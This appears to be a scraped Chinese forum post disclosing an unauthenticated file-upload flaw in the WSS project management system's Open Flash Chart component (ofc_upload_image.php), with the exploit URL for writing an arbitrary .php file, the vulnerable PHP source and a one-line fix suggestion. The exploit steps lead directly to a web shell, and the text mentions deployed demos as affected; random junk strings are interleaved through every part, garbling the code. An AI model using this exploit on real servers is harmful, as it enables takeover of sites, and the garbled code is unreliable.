WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
6 D# p3 ?; X  v2 [( g; w8 ` 漏洞文件/chart/php-ofc-library/ofc_upload_image.php

利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
& m7 z! R0 j, o% W. H+ w$ t& W
' m6 m! ]* Y3 n" W9 H$ y2 n$ g& rPost任意数据
9 b# A- L3 K6 M- N# N4 q$ F保存位置http://localhost/chart/tmp-upload-images/hfy.php
' ^) o/ A; S( H

9 r' h1 e: u! l+ L& {最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

! a5 d! r3 e% V! H1 ]6 T<?php
# u" l. @! f4 K$ V, @' J2 P" }
//
// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
4 ^4 B. f5 U6 h9 e. s//
5 D1 ~  {9 Y! A+ ~" N& @
/*
- A9 N4 @9 k8 K5 G% D4 p6 ^
print_r( $_GET );
9 g1 D/ @4 E) T" \print_r( $_POST );
print_r( $_FILES );

print_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
7 B4 h$ d  R: ?
# B# z; W5 U* [1 f*/
1 C- m# U* V3 z# m// default path for the image to be stored //
$default_path = '../tmp-upload-images/';
, R5 a2 i; e' h- ]' G' @0 t
2 v6 Q$ v$ X6 a1 cif (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
6 c* H7 F: T4 m- y6 G6 f$destination = $default_path . basename( $_GET[ 'name' ] );
0 b1 d7 `7 j& B5 J1 r& X  f6 V
1 A5 ]0 w1 b  c' q. \8 Wecho 'Saving your image to: '. $destination;
// print_r( $_POST );
+ w9 _0 ^6 a, _. E, \: v" f5 N% ~// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;

% I( W6 |( ?5 m4 `# \* o- ?  G  k//
// POST data is usually string data, but we are passing a RAW .png
! c$ \( M* w$ @7 U// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//
/ _: F* }4 t- R
  {4 D0 K2 o% {/ x) l  G$jfh = fopen($destination, 'w') or die("can't open file");
0 G! y9 u. U. v1 I: P6 O8 yfwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);

) C& g) T) ]  I4 b( v" Z//
// LOOK:
//
exit();
//
6 Q0 `1 D+ M+ F// PHP5:
//

) ~6 P2 R/ S1 N  C0 q6 n7 M: @" r8 `
// default path for the image to be stored //
$default_path = 'tmp-upload-images/';
1 R- \- l8 R/ N6 E2 u+ O
/ D7 Z3 p8 ?1 t/ uif (!file_exists($default_path)) mkdir($default_path, 0777, true);
4 e8 |) |9 ?9 F  ^& C8 T% Q# G2 b
6 s$ E9 \4 l# k8 u9 i+ ^// full path to the saved image including filename //
( k7 T/ r) c  [6 ^. j& Z4 `$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
6 {- S! Q8 B: L& v* w! D" Z/ g1 S
// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
+ `* @: ?, N5 C} else {
    echo "FILE UPLOAD FAILED";
, n( b: S9 ]% Q1 t7 W/ Q4 j}
/ g7 v9 z; ^+ E# G+ O7 j
! H0 Z' }8 [! [5 ?. z8 [
% ~; I# @) [$ W3 a3 Q  h?>
, v6 G8 n- E! Z2 S. m" j, b
& t1 F7 y" u) r6 s+ _# L


* W) H) ~4 P: z! ]# [) \( i, z* ]

修复方案：
' l6 T* V! }1 y7 L7 c/ [  A7 s( p3 z这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
- G% U4 d4 t: f' T, @
& M5 o4 [$ h0 H4 l% a2 H( \